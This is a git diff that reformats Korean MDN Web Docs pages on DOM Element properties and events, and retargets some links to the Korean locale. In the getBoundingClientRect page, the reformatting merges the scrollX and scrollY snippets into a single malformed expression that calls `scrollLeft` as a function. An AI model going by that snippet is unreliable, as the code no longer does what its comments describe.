-A minor note is that in IE6-7, this polyfill uses the `window[" uCL"]` property on the window object for communicating with the CSS expressions, the `x-uCLp` css property on all elements, and the `element[" uCL"]` property on all elements to allow garbage collection and boost performance. In all polyfilled browsers (IE6-9), an additional `element[" uCLp"]` property is added to element to ensure standards compliant prototyping, and a `DOMTokenList[" uCL"]`property is added to each `element["classList"]` object to ensure that the DOMTokenList is bounded to its own element.
-
 ## 명세
 
 {{Specifications}}
diff --git a/files/ko/web/api/element/classname/index.md b/files/ko/web/api/element/classname/index.md
index 4c2f72cdab03ca..bcfebcb1897043 100644
--- a/files/ko/web/api/element/classname/index.md
+++ b/files/ko/web/api/element/classname/index.md
@@ -2,6 +2,7 @@
 title: Element.className
 slug: Web/API/Element/className
 ---
+
 {{APIRef("DOM")}}
 
 ## 개요
@@ -20,12 +21,12 @@ elementNodeReference.className = cName;
 ## 예제
 
 ```js
-let elm = document.getElementById('item');
+let elm = document.getElementById("item");
 
-if(elm.className === 'active'){
-    elm.className = 'inactive';
+if (elm.className === "active") {
+  elm.className = "inactive";
 } else {
-    elm.className = 'active';
+  elm.className = "active";
 }
 ```
 
diff --git a/files/ko/web/api/element/clientheight/index.md b/files/ko/web/api/element/clientheight/index.md
index 2e59c9984a03bd..f3482cd01f95c7 100644
--- a/files/ko/web/api/element/clientheight/index.md
+++ b/files/ko/web/api/element/clientheight/index.md
@@ -2,6 +2,7 @@
 title: Element.clientHeight
 slug: Web/API/Element/clientHeight
 ---
+
 {{ APIRef('DOM') }}
 
 `읽기 전용 속성인 Element.clientHeight은` 엘리먼트의 내부 높이를 픽셀로 반환합니다. 이 내부 높이라는 것은 내부 여백(padding)을 포함하지만, 수평 스크롤바의 높이, 경계선, 또는 외부 여백(margin)은 포함하지 않습니다.
diff --git a/files/ko/web/api/element/clientleft/index.md b/files/ko/web/api/element/clientleft/index.md
index f78b8d559a56de..11ca645781c7ea 100644
--- a/files/ko/web/api/element/clientleft/index.md
+++ b/files/ko/web/api/element/clientleft/index.md
@@ -2,6 +2,7 @@
 title: Element.clientLeft
 slug: Web/API/Element/clientLeft
 ---
+
 {{ APIRef("DOM") }}
 
 엘리먼트의 왼쪽 테두리의 너비 (픽셀 단위)입니다. 엘리먼트의 텍스트 방향이 오른쪽에서 왼쪽이고 오버플로로 인해 왼쪽 수직 스크롤 막대가 렌더링되는 경우 수직 스크롤 막대의 너비가 포함됩니다. `clientLeft`는 왼쪽 여백 또는 왼쪽 패딩을 포함하지 않습니다. `clientLeft`는 읽기 전용입니다.
diff --git a/files/ko/web/api/element/closest/index.md b/files/ko/web/api/element/closest/index.md
index acb064c7bf520d..08949a2c4ca97d 100644
--- a/files/ko/web/api/element/closest/index.md
+++ b/files/ko/web/api/element/closest/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Element/closest
 ## 구문
 
 ```js
-closest(selectors)
+closest(selectors);
 ```
 
 ### 매개변수
@@ -33,8 +33,10 @@ closest(selectors)
 
 ```html
 <article>
-  <div id="div-01">Here is div-01
-    <div id="div-02">Here is div-02
+  <div id="div-01">
+    Here is div-01
+    <div id="div-02">
+      Here is div-02
       <div id="div-03">Here is div-03</div>
     </div>
   </div>
@@ -44,13 +46,13 @@ closest(selectors)
 ### JavaScript
 
 ```js
-const el = document.getElementById('div-03');
+const el = document.getElementById("div-03");
 
 // ID가 "div-02"인 가장 가까운 조상
-console.log(el.closest('#div-02')); // <div id="div-02">
+console.log(el.closest("#div-02")); // <div id="div-02">
 
 // div 안에 놓인 div인 가장 가까운 조상
-console.log(el.closest('div div')); // <div id="div-03">
+console.log(el.closest("div div")); // <div id="div-03">
 
 // div면서 article을 부모로 둔 가장 가까운 조상
 console.log(el.closest("article > div")); // <div id="div-01">
@@ -71,7 +73,7 @@ if (!Element.prototype.matches) {
 }
 
 if (!Element.prototype.closest) {
-  Element.prototype.closest = function(s) {
+  Element.prototype.closest = function (s) {
     var el = this;
 
     do {
@@ -87,14 +89,14 @@ if (!Element.prototype.closest) {
 
 ```js
 if (window.Element && !Element.prototype.closest) {
-  Element.prototype.closest = function(s) {
+  Element.prototype.closest = function (s) {
     var matches = (this.document || this.ownerDocument).querySelectorAll(s),
-        i,
-        el = this;
+      i,
+      el = this;
     do {
       i = matches.length;
-      while (--i >= 0 && matches.item(i) !== el) {};
-    } while ((i < 0) && (el = el.parentElement));
+      while (--i >= 0 && matches.item(i) !== el) {}
+    } while (i < 0 && (el = el.parentElement));
     return el;
   };
 }
diff --git a/files/ko/web/api/element/contextmenu_event/index.md b/files/ko/web/api/element/contextmenu_event/index.md
index 006d0ee818b652..c8888b8e0477f5 100644
--- a/files/ko/web/api/element/contextmenu_event/index.md
+++ b/files/ko/web/api/element/contextmenu_event/index.md
@@ -20,13 +20,19 @@ window.oncontextmenu = funcRef;
 페이지상에서 오른쪽 클릭을 막는 예제들 입니다:
 
 ```js
-document.oncontextmenu = function () { // Use document as opposed to window for IE8 compatibility
-   return false;
+document.oncontextmenu = function () {
+  // Use document as opposed to window for IE8 compatibility
+  return false;
 };
 
-window.addEventListener('contextmenu', function (e) { // Not compatible with IE < 9
+window.addEventListener(
+  "contextmenu",
+  function (e) {
+    // Not compatible with IE < 9
     e.preventDefault();
-}, false);
+  },
+  false,
+);
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/element/copy_event/index.md b/files/ko/web/api/element/copy_event/index.md
index 7b76f2fce9df23..86b60f9794bc71 100644
--- a/files/ko/web/api/element/copy_event/index.md
+++ b/files/ko/web/api/element/copy_event/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'Element: copy 이벤트'
+title: "Element: copy 이벤트"
 slug: Web/API/Element/copy_event
 ---
+
 {{APIRef}}
 
 **`copy`** 이벤트는 사용자가 브라우저의 사용자 인터페이스를 통해 복사했을 때 발생합니다.
@@ -40,31 +41,34 @@ slug: Web/API/Element/copy_event
 ### HTML
 
 ```html
-<div class="source" contenteditable="true">이 상자에서 텍스트를 복사해보세요...</div>
+<div class="source" contenteditable="true">
+  이 상자에서 텍스트를 복사해보세요...
+</div>
 <div class="target" contenteditable="true">...여기에 붙여 넣어 보세요.</div>
 ```
 
 ```css hidden
-div.source, div.target {
-    border: 1px solid gray;
-    margin: .5rem;
-    padding: .5rem;
-    height: 1rem;
-    background-color: #e9eef1;
+div.source,
+div.target {
+  border: 1px solid gray;
+  margin: 0.5rem;
+  padding: 0.5rem;
+  height: 1rem;
+  background-color: #e9eef1;
 }
 ```
 
 ### JS
 
 ```js
-const source = document.querySelector('div.source');
+const source = document.querySelector("div.source");
 
-source.addEventListener('copy', (event) => {
-    const selection = document.getSelection();
-    const reversed = Array.from(selection.toString()).reverse().join('');
+source.addEventListener("copy", (event) => {
+  const selection = document.getSelection();
+  const reversed = Array.from(selection.toString()).reverse().join("");
 
-    event.clipboardData.setData('text/plain', reversed);
-    event.preventDefault();
+  event.clipboardData.setData("text/plain", reversed);
+  event.preventDefault();
 });
 ```
 
diff --git a/files/ko/web/api/element/cut_event/index.md b/files/ko/web/api/element/cut_event/index.md
index 519f46cf0df35e..5408011fe9a8b8 100644
--- a/files/ko/web/api/element/cut_event/index.md
+++ b/files/ko/web/api/element/cut_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Element: cut 이벤트'
+title: "Element: cut 이벤트"
 slug: Web/API/Element/cut_event
 ---
 
@@ -45,32 +45,35 @@ slug: Web/API/Element/cut_event
 ### HTML
 
 ```html
-<div class="source" contenteditable="true">이 상자에서 텍스트를 잘라내 보세요...</div>
+<div class="source" contenteditable="true">
+  이 상자에서 텍스트를 잘라내 보세요...
+</div>
 <div class="target" contenteditable="true">...여기에 붙여 넣어 보세요.</div>
 ```
 
 ```css hidden
-div.source, div.target {
-    border: 1px solid gray;
-    margin: .5rem;
-    padding: .5rem;
-    height: 1rem;
-    background-color: #e9eef1;
+div.source,
+div.target {
+  border: 1px solid gray;
+  margin: 0.5rem;
+  padding: 0.5rem;
+  height: 1rem;
+  background-color: #e9eef1;
 }
 ```
 
 ### JS
 
 ```js
-const source = document.querySelector('div.source');
+const source = document.querySelector("div.source");
 
-source.addEventListener('cut', (event) => {
-    const selection = document.getSelection();
-    const reversed = Array.from(selection.toString()).reverse().join('');
+source.addEventListener("cut", (event) => {
+  const selection = document.getSelection();
+  const reversed = Array.from(selection.toString()).reverse().join("");
 
-    event.clipboardData.setData('text/plain', reversed);
-    selection.deleteFromDocument();
-    event.preventDefault();
+  event.clipboardData.setData("text/plain", reversed);
+  selection.deleteFromDocument();
+  event.preventDefault();
 });
 ```
 
diff --git a/files/ko/web/api/element/dblclick_event/index.md b/files/ko/web/api/element/dblclick_event/index.md
index f24d308ebc7aa9..2a7a456310539c 100644
--- a/files/ko/web/api/element/dblclick_event/index.md
+++ b/files/ko/web/api/element/dblclick_event/index.md
@@ -3,6 +3,7 @@ title: GlobalEventHandlers.ondblclick
 slug: Web/API/Element/dblclick_event
 original_slug: Web/API/GlobalEventHandlers/ondblclick
 ---
+
 {{ApiRef("HTML DOM")}}
 
 **`ondblclick`** property는 현재 요소(element)의 onDblClick 이벤트 핸들러 코드를 돌려줍니다.
@@ -16,7 +17,9 @@ element.ondblclick = function;
 - `function` 은 사용자 정의 함수이며, () 나 변수를 제외하고 생성할 수 있고 또는 아래와 같이 함수명을 선언하지 않고 생성할 수 있습니다.
 
 ```js
-element.ondblclick = function() { console.log("ondblclick event detected!"); };
+element.ondblclick = function () {
+  console.log("ondblclick event detected!");
+};
 ```
 
 ## 예제
@@ -33,7 +36,7 @@ element.ondblclick = function() { console.log("ondblclick event detected!"); };
 ### JavaScript
 
 ```js
-let log = document.getElementById('log');
+let log = document.getElementById("log");
 
 document.ondblclick = logDoubleClick;
 
diff --git a/files/ko/web/api/element/getattribute/index.md b/files/ko/web/api/element/getattribute/index.md
index 3ef6b83337c7ab..f80c301067a9b3 100644
--- a/files/ko/web/api/element/getattribute/index.md
+++ b/files/ko/web/api/element/getattribute/index.md
@@ -2,6 +2,7 @@
 title: Element.getAttribute()
 slug: Web/API/Element/getAttribute
 ---
+
 {{APIRef}}
 
 ## 요약
diff --git a/files/ko/web/api/element/getboundingclientrect/element-box-diagram.png b/files/ko/web/api/element/getboundingclientrect/element-box-diagram.png
deleted file mode 100644
index 6dfaa77c80840a..00000000000000
Binary files a/files/ko/web/api/element/getboundingclientrect/element-box-diagram.png and /dev/null differ
diff --git a/files/ko/web/api/element/getboundingclientrect/index.md b/files/ko/web/api/element/getboundingclientrect/index.md
index 13587d242794c1..cf47c3ad4e41c6 100644
--- a/files/ko/web/api/element/getboundingclientrect/index.md
+++ b/files/ko/web/api/element/getboundingclientrect/index.md
@@ -57,11 +57,17 @@ domRect = element.getBoundingClientRect();
 
 ```js
 // scrollX의 경우
-(((t = document.documentElement) || (t = document.body.parentNode))
-  && typeof t.scrollLeft == 'number' ? t : document.body).scrollLeft
-// scrollY의 경우
-(((t = document.documentElement) || (t = document.body.parentNode))
-  && typeof t.scrollTop == 'number' ? t : document.body).scrollTop
+(((t = document.documentElement) || (t = document.body.parentNode)) &&
+typeof t.scrollLeft == "number"
+  ? t
+  : document.body
+).scrollLeft(
+  // scrollY의 경우
+  ((t = document.documentElement) || (t = document.body.parentNode)) &&
+    typeof t.scrollTop == "number"
+    ? t
+    : document.body,
+).scrollTop;
 ```
 
 ## 예제
@@ -86,12 +92,12 @@ div {
 ```
 
 ```js
-let elem = document.querySelector('div');
+let elem = document.querySelector("div");
 let rect = elem.getBoundingClientRect();
 for (var key in rect) {
-  if(typeof rect[key] !== 'function') {
-    let para = document.createElement('p');
-    para.textContent  = `${ key } : ${ rect[key] }`;
+  if (typeof rect[key] !== "function") {
+    let para = document.createElement("p");
+    para.textContent = `${key} : ${rect[key]}`;
     document.body.appendChild(para);
   }
 }
@@ -112,8 +118,8 @@ for (var key in rect) {
 
 ```html
 <div></div>
-    <div id="example"></div>
-    <div id="controls"></div>
+<div id="example"></div>
+<div id="controls"></div>
 ```
 
 ```css
@@ -125,27 +131,31 @@ div#example {
   background: purple;
 }
 
-body { padding-bottom: 1000px; }
-p { margin: 0; }
+body {
+  padding-bottom: 1000px;
+}
+p {
+  margin: 0;
+}
 ```
 
 ```js
 function update() {
   const container = document.getElementById("controls");
-  const elem = document.querySelector('div');
+  const elem = document.querySelector("div");
   const rect = elem.getBoundingClientRect();
 
-  container.innerHTML = '';
+  container.innerHTML = "";
   for (let key in rect) {
-    if(typeof rect[key] !== 'function') {
-      let para = document.createElement('p');
-      para.textContent  = `${ key } : ${ rect[key] }`;
+    if (typeof rect[key] !== "function") {
+      let para = document.createElement("p");
+      para.textContent = `${key} : ${rect[key]}`;
       container.appendChild(para);
     }
   }
 }
 
-document.addEventListener('scroll', update);
+document.addEventListener("scroll", update);
 update();
 ```
 
diff --git a/files/ko/web/api/element/getclientrects/index.md b/files/ko/web/api/element/getclientrects/index.md
index 95e97e1611b69e..38dc1a843d2b58 100644
--- a/files/ko/web/api/element/getclientrects/index.md
+++ b/files/ko/web/api/element/getclientrects/index.md
@@ -43,7 +43,11 @@ HTML {{HtmlElement("area")}} 엘리먼트, 스스로는 어떠한 것도 렌더
 
 ```html
 <h3>span을 안쪽에 포함하는 단락</h3>
-<p>span과 단락 모두 테두리가 설정되어 있습니다. 클라이언트 사각형은 빨간색입니다. p는 단 하나의 테두리 박스를 갖는 반면 span은 여러 테두리 박스를 갖는다는 점을 유의하세요.</p>
+<p>
+  span과 단락 모두 테두리가 설정되어 있습니다. 클라이언트 사각형은 빨간색입니다.
+  p는 단 하나의 테두리 박스를 갖는 반면 span은 여러 테두리 박스를 갖는다는 점을
+  유의하세요.
+</p>
 
 <div>
   <strong>원본</strong>
@@ -71,7 +75,10 @@ HTML {{HtmlElement("area")}} 엘리먼트, 스스로는 어떠한 것도 렌더
 
 ```html
 <h3>목록</h3>
-<p>테두리 박스는 숫자를 포함하지 않으므로 클라이언트 사각형에 대해서도 숫자를 포함하지 않음을 유의하세요.</p>
+<p>
+  테두리 박스는 숫자를 포함하지 않으므로 클라이언트 사각형에 대해서도 숫자를
+  포함하지 않음을 유의하세요.
+</p>
 
 <div>
   <strong>원본</strong>
@@ -102,17 +109,26 @@ HTML {{HtmlElement("area")}} 엘리먼트, 스스로는 어떠한 것도 렌더
 
 ```html
 <h3>캡션을 갖는 테이블</h3>
-<p>테이블의 테두리 박스가 캡션을 포함하지는 않지만, 클라이언트 사각형은 캡션을 포함합니다.</p>
+<p>
+  테이블의 테두리 박스가 캡션을 포함하지는 않지만, 클라이언트 사각형은 캡션을
+  포함합니다.
+</p>
 
 <div>
   <strong>원본</strong>
   <table>
-    <caption>캡션</caption>
+    <caption>
+      캡션
+    </caption>
     <thead>
-      <tr><th>thead</th></tr>
+      <tr>
+        <th>thead</th>
+      </tr>
     </thead>
     <tbody>
-      <tr><td>tbody</td></tr>
+      <tr>
+        <td>tbody</td>
+      </tr>
     </tbody>
   </table>
 </div>
@@ -120,12 +136,18 @@ HTML {{HtmlElement("area")}} 엘리먼트, 스스로는 어떠한 것도 렌더
 <div>
   <strong>table의 사각형</strong>
   <table class="withClientRectsOverlay">
-    <caption>캡션</caption>
+    <caption>
+      캡션
+    </caption>
     <thead>
-      <tr><th>thead</th></tr>
+      <tr>
+        <th>thead</th>
+      </tr>
     </thead>
     <tbody>
-      <tr><td>tbody</td></tr>
+      <tr>
+        <td>tbody</td>
+      </tr>
     </tbody>
   </table>
 </div>
@@ -143,10 +165,15 @@ div {
   display: inline-block;
   width: 150px;
 }
-div p, ol, table {
+div p,
+ol,
+table {
   border: 1px solid blue;
 }
-span, li, th, td {
+span,
+li,
+th,
+td {
   border: 1px solid green;
 }
 ```
@@ -162,24 +189,26 @@ function addClientRectsOverlay(elt) {
   var rects = elt.getClientRects();
   for (var i = 0; i != rects.length; i++) {
     var rect = rects[i];
-    var tableRectDiv = document.createElement('div');
-    tableRectDiv.style.position = 'absolute';
-    tableRectDiv.style.border = '1px solid red';
-    var scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
-    var scrollLeft = document.documentElement.scrollLeft || document.body.scrollLeft;
-    tableRectDiv.style.margin = tableRectDiv.style.padding = '0';
-    tableRectDiv.style.top = (rect.top + scrollTop) + 'px';
-    tableRectDiv.style.left = (rect.left + scrollLeft) + 'px';
+    var tableRectDiv = document.createElement("div");
+    tableRectDiv.style.position = "absolute";
+    tableRectDiv.style.border = "1px solid red";
+    var scrollTop =
+      document.documentElement.scrollTop || document.body.scrollTop;
+    var scrollLeft =
+      document.documentElement.scrollLeft || document.body.scrollLeft;
+    tableRectDiv.style.margin = tableRectDiv.style.padding = "0";
+    tableRectDiv.style.top = rect.top + scrollTop + "px";
+    tableRectDiv.style.left = rect.left + scrollLeft + "px";
     // rect.width가 테두리 너비가 되어야 하므로 콘텐츠 너비는 2px 더 작습니다.
-    tableRectDiv.style.width = (rect.width - 2) + 'px';
-    tableRectDiv.style.height = (rect.height - 2) + 'px';
+    tableRectDiv.style.width = rect.width - 2 + "px";
+    tableRectDiv.style.height = rect.height - 2 + "px";
     document.body.appendChild(tableRectDiv);
   }
 }
 
-(function() {
+(function () {
   /* "withClientRectsOverlay" 클래스가 할당된 모든 엘리먼트에 대해 addClientRectsOverlay(elt) 함수를 호출합니다 */
-  var elt = document.getElementsByClassName('withClientRectsOverlay');
+  var elt = document.getElementsByClassName("withClientRectsOverlay");
   for (var i = 0; i < elt.length; i++) {
     addClientRectsOverlay(elt[i]);
   }
diff --git a/files/ko/web/api/element/getelementsbyclassname/index.md b/files/ko/web/api/element/getelementsbyclassname/index.md
index 7604e1313c8997..9f5a5e605e9805 100644
--- a/files/ko/web/api/element/getelementsbyclassname/index.md
+++ b/files/ko/web/api/element/getelementsbyclassname/index.md
@@ -2,6 +2,7 @@
 title: Element.getElementsByClassName()
 slug: Web/API/Element/getElementsByClassName
 ---
+
 {{APIRef("DOM")}}
 
 {{domxref("Element")}}의 메소드 **`getElementsByClassName()`** 는 주어진 클래스를 가진 모든 자식 엘리먼트의 실시간 {{domxref("HTMLCollection")}} 을 반환합니다.
@@ -38,13 +39,13 @@ var elements = element.getElementsByClassName(names);
 요소들 중 하나의 클래스를 포함하고 있는 요소를 검색하기 위해서는, 그 클래스명을 `getElementsByClassName()`의 인자로 넣으세요:
 
 ```js
-element.getElementsByClassName('test');
+element.getElementsByClassName("test");
 ```
 
 아래의 예시는 `main` 이라는 `id` 를 가진 요소의 하위 요소들 중 `test`라는 클래스를 가진 모든 요소를 탐색합니다.
 
 ```js
-document.getElementById('main').getElementsByClassName('test');
+document.getElementById("main").getElementsByClassName("test");
 ```
 
 ### 여러개의 클래스로 탐색하기
@@ -52,7 +53,7 @@ document.getElementById('main').getElementsByClassName('test');
 `red` 와 `test` 라는 클래스를 모두 포함하고 있는 요소를 탐색하기 위해서는 다음과 같이 합니다:
 
 ```js
-element.getElementsByClassName('red test');
+element.getElementsByClassName("red test");
 ```
 
 ### 결과값 검토하기
@@ -60,22 +61,22 @@ element.getElementsByClassName('red test');
 collection의 개별 요소를 가져오기 위해 `HTMLCollection` 의{{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 표준 배열 문법을 사용할 수 있습니다. 아래는 잘못된 코드의 예시입니다. `"matches"` 는 `"colorbox"` 클래스가 삭제됨에 따라 바로 변경될것이기 때문에 **아래의 코드는 작동하지 않습니다.**
 
 ```js
-var matches = element.getElementsByClassName('colorbox');
+var matches = element.getElementsByClassName("colorbox");
 
-for (var i=0; i<matches.length; i++) {
-  matches[i].classList.remove('colorbox');
-  matches.item(i).classList.add('hueframe');
+for (var i = 0; i < matches.length; i++) {
+  matches[i].classList.remove("colorbox");
+  matches.item(i).classList.add("hueframe");
 }
 ```
 
 대신 다른 방법을 사용하세요. 예시:
 
 ```js
-var matches = element.getElementsByClassName('colorbox');
+var matches = element.getElementsByClassName("colorbox");
 
 while (matches.length > 0) {
-  matches.item(0).classList.add('hueframe');
-  matches[0].classList.remove('colorbox');
+  matches.item(0).classList.add("hueframe");
+  matches[0].classList.remove("colorbox");
 }
 ```
 
@@ -86,10 +87,13 @@ while (matches.length > 0) {
 {{domxref("HTMLCollection")}}을 `this` 로 사용하면 {{jsxref("Array.prototype")}} 을 어떤 {{ domxref("HTMLCollection") }}에서든 사용할 수 있습니다. 아래의 예제에서는 `test` 클래스를 가진 모든 {{HTMLElement("div")}} 요소를 찾아봅니다 :
 
 ```js
-var testElements = document.getElementsByClassName('test');
-var testDivs = Array.prototype.filter.call(testElements, function(testElement) {
-  return testElement.nodeName === 'DIV';
-});
+var testElements = document.getElementsByClassName("test");
+var testDivs = Array.prototype.filter.call(
+  testElements,
+  function (testElement) {
+    return testElement.nodeName === "DIV";
+  },
+);
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/element/getelementsbytagname/index.md b/files/ko/web/api/element/getelementsbytagname/index.md
index 4c5be1568c6484..5c8f8c99c1261e 100644
--- a/files/ko/web/api/element/getelementsbytagname/index.md
+++ b/files/ko/web/api/element/getelementsbytagname/index.md
@@ -14,7 +14,7 @@ Element.getElementsByTagName는 특정된 엘리먼트의 하위에 있는 엘
 ## 문법
 
 ```js
-elements = element.getElementsByTagName(tagName)
+elements = element.getElementsByTagName(tagName);
 ```
 
 - `elements` is a _live_ {{domxref("HTMLCollection")}} of found elements in the order they appear in the sub-tree. If no elements were found, the `HTMLCollection` is empty.
@@ -31,10 +31,10 @@ elements = element.getElementsByTagName(tagName)
 var table = document.getElementById("forecast-table");
 var cells = table.getElementsByTagName("td");
 for (var i = 0; i < cells.length; i++) {
-    var status = cells[i].getAttribute("data-status");
-    if ( status == "open" ) {
-        // grab the data
-    }
+  var status = cells[i].getAttribute("data-status");
+  if (status == "open") {
+    // grab the data
+  }
 }
 ```
 
diff --git a/files/ko/web/api/element/index.md b/files/ko/web/api/element/index.md
index 965bdb7eefa5a0..a17b0d4e268236 100644
--- a/files/ko/web/api/element/index.md
+++ b/files/ko/web/api/element/index.md
@@ -2,6 +2,7 @@
 title: Element
 slug: Web/API/Element
 ---
+
 {{APIRef("DOM")}}
 
 **`Element`** 는 {{domxref("Document")}} 안의 모든 객체가 상속하는 제일 범용적인 기반 클래스로 공통 메서드와 속성만 가지고 있으며, 특정 요소를 더 상세하게 표현하는 클래스가 `Element`를 상속합니다. 예를 들어 {{domxref("HTMLElement")}} 인터페이스는 HTML 요소의 기반 인터페이스이고 {{domxref("SVGElement")}} 인터페이스는 모든 SVG 요소의 기초입니다.
diff --git a/files/ko/web/api/element/innerhtml/index.md b/files/ko/web/api/element/innerhtml/index.md
index 37db18ea0a856d..714ee74a21d671 100644
--- a/files/ko/web/api/element/innerhtml/index.md
+++ b/files/ko/web/api/element/innerhtml/index.md
@@ -59,9 +59,8 @@ document.body.innerHTML = "";
 이 예제는 문서의 현재 HTML 마크업을 가져오고, `"<"` 문자를 HTML 엔터티 `"&lt;"` 로 대체하합니다. 그러면 HTML을 원시 텍스트(raw text - 파싱 이전의 모습)로 반환합니다. 이것을 {{HTMLElement("pre")}} 요소로 래핑합니다. 그러면 `innerHTML` 값은 새 문자열로 변경됩니다. 그 결과, 문서의 내용은 페이지의 전체 소스 코드의 출력으로 대체됩니다.
 
 ```js
-document.documentElement.innerHTML = "<pre>" +
-         document.documentElement.innerHTML.replace(/</g,"&lt;") +
-            "</pre>";
+document.documentElement.innerHTML =
+  "<pre>" + document.documentElement.innerHTML.replace(/</g, "&lt;") + "</pre>";
 ```
 
 #### Operational details
@@ -124,8 +123,14 @@ log("Logging mouse events inside this container...");
 
 ```js
 function logEvent(event) {
-  var msg = "Event <strong>" + event.type + "</strong> at <em>" +
-            event.clientX + ", " + event.clientY + "</em>";
+  var msg =
+    "Event <strong>" +
+    event.type +
+    "</strong> at <em>" +
+    event.clientX +
+    ", " +
+    event.clientY +
+    "</em>";
   log(msg);
 }
 ```
diff --git a/files/ko/web/api/element/insertadjacenthtml/index.md b/files/ko/web/api/element/insertadjacenthtml/index.md
index c647475d008f09..227c877ade7f5a 100644
--- a/files/ko/web/api/element/insertadjacenthtml/index.md
+++ b/files/ko/web/api/element/insertadjacenthtml/index.md
@@ -19,6 +19,7 @@ insertAdjacentHTML(position, text)
 ### 매개변수
 
 - `position`
+
   - : 요소와 상대적인 위치를 나타내는 문자열입니다. 다음 문자열 중 하나여야 합니다.
 
     - `"beforebegin"`
@@ -107,7 +108,7 @@ insert.addEventListener("click", () => {
   const positionSelect = document.querySelector("#position");
   subject.insertAdjacentHTML(
     positionSelect.value,
-    "<strong>inserted text</strong>"
+    "<strong>inserted text</strong>",
   );
 });
 const reset = document.querySelector("#reset");
diff --git a/files/ko/web/api/element/keydown_event/index.md b/files/ko/web/api/element/keydown_event/index.md
index e837203bd37dba..2e13a81cf1af00 100644
--- a/files/ko/web/api/element/keydown_event/index.md
+++ b/files/ko/web/api/element/keydown_event/index.md
@@ -57,7 +57,7 @@ original_slug: Web/API/Document/keydown_event
       <td>WindowProxy</td>
       <td>
         <a
-          href="/en-US/docs/Web/API/Document/defaultView"
+          href="/ko/docs/Web/API/Document/defaultView"
           title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."
           ><code>document.defaultView</code></a
         >
@@ -85,7 +85,7 @@ original_slug: Web/API/Document/keydown_event
         character, this value is a non-empty Unicode string containing that
         character. If the key doesn't have a printable representation, this is
         an empty string. See
-        <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values"
+        <a href="/ko/docs/Web/API/KeyboardEvent#Key_names_and_Char_values"
           >key names and char values</a
         >
         for the detail.
@@ -105,7 +105,7 @@ original_slug: Web/API/Document/keydown_event
         <code>char</code> attribute. Otherwise, it's one of the key value
         strings specified in <a href="#key_values">Key values</a>. If the key
         can't be identified, this is the string "Unidentified". See
-        <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values"
+        <a href="/ko/docs/Web/API/KeyboardEvent#Key_names_and_Char_values"
           >key names and char values</a
         >
         for the detail. Read Only.
@@ -117,7 +117,7 @@ original_slug: Web/API/Document/keydown_event
       <td>
         The Unicode reference number of the key; this attribute is used only by
         the
-        <a href="/en-US/docs/Mozilla_event_reference/keypress"
+        <a href="/ko/docs/Mozilla_event_reference/keypress"
           ><code>keypress</code></a
         >
         event. For keys whose <code>char</code> attribute contains multiple
diff --git a/files/ko/web/api/element/keyup_event/index.md b/files/ko/web/api/element/keyup_event/index.md
index 33b94ceff9b8b6..9f9b75a6b9ef62 100644
--- a/files/ko/web/api/element/keyup_event/index.md
+++ b/files/ko/web/api/element/keyup_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Document: keyup event'
+title: "Document: keyup event"
 slug: Web/API/Element/keyup_event
 original_slug: Web/API/Document/keyup_event
 ---
@@ -8,18 +8,18 @@ original_slug: Web/API/Document/keyup_event
 
 **`keyup`**키를 놓을 때 이벤트가 발생합니다.
 
-| 거품               | 예                                                                       |
-| ------------------ | ------------------------------------------------------------------------ |
-| 취소 가능          | 예                                                                       |
-| 상호 작용          | {{domxref ( "KeyboardEvent")}}                                 |
+| 거품               | 예                                                      |
+| ------------------ | ------------------------------------------------------- |
+| 취소 가능          | 예                                                      |
+| 상호 작용          | {{domxref ( "KeyboardEvent")}}                          |
 | 이벤트 핸들러 속성 | {{domxref ( "GlobalEventHandlers.onkeyup", "onkeyup")}} |
 
 {{domxref ( "Document / keydown_event", "keydown")}} 및 `keyup`이벤트는 어떤 키를 눌렀는지 나타내는 코드를 제공하고 {{domxref ( "Document / keypress_event", "keypress")}} 는 입력 된 _문자를_ 나타냅니다. . 예를 들어, 소문자 "a"는 `keydown`및 `keyup`에서는 65로보고 되지만에서는 97 로보고 됩니다 `keypress`. 모든 이벤트에서 대문자 "A"는 65로보고됩니다.
 
-> **참고 :** 입력 값의 변경에 대응하는 방법을 찾고 있다면 `[input event](/en-US/docs/Web/API/HTMLElement/input_event)`를 사용해야합니다. `keyup` 예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 일부 변경 사항은에서 감지 할 수 없습니다.
+> **참고 :** 입력 값의 변경에 대응하는 방법을 찾고 있다면 `[input event](/ko/docs/Web/API/HTMLElement/input_event)`를 사용해야합니다. `keyup` 예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 일부 변경 사항은에서 감지 할 수 없습니다.
 
 ```js
-eventTarget.addEventListener ( "keyup", event => {
+eventTarget.addEventListener("keyup", (event) => {
   if (event.isComposing || event.keyCode === 229) {
     return;
   }
@@ -34,8 +34,8 @@ eventTarget.addEventListener ( "keyup", event => {
 ### addEventListener 키업 예제
 
 ```html
-<p> 먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오. </ p>
-<p id = "log"> </ p>
+<p>먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오.</p>
+<p id="log"></p>
 ```
 
 ```js
diff --git a/files/ko/web/api/element/outerhtml/index.md b/files/ko/web/api/element/outerhtml/index.md
index 3d514610ae576b..1a943211befad3 100644
--- a/files/ko/web/api/element/outerhtml/index.md
+++ b/files/ko/web/api/element/outerhtml/index.md
@@ -66,7 +66,7 @@ console.log(container.firstChild.nodeName); // "P"를 출력합니다.
 
 ```js
 var div = document.createElement("div");
-div.outerHTML = "<div class=\"test\">test</div>";
+div.outerHTML = '<div class="test">test</div>';
 // 많은 브라우저에서 DOMException 예외를 발생시킵니다.
 console.log(div.outerHTML); // 결과: "<div></div>"
 ```
diff --git a/files/ko/web/api/element/paste_event/index.md b/files/ko/web/api/element/paste_event/index.md
index afdfeb7d631250..74be42532f6cef 100644
--- a/files/ko/web/api/element/paste_event/index.md
+++ b/files/ko/web/api/element/paste_event/index.md
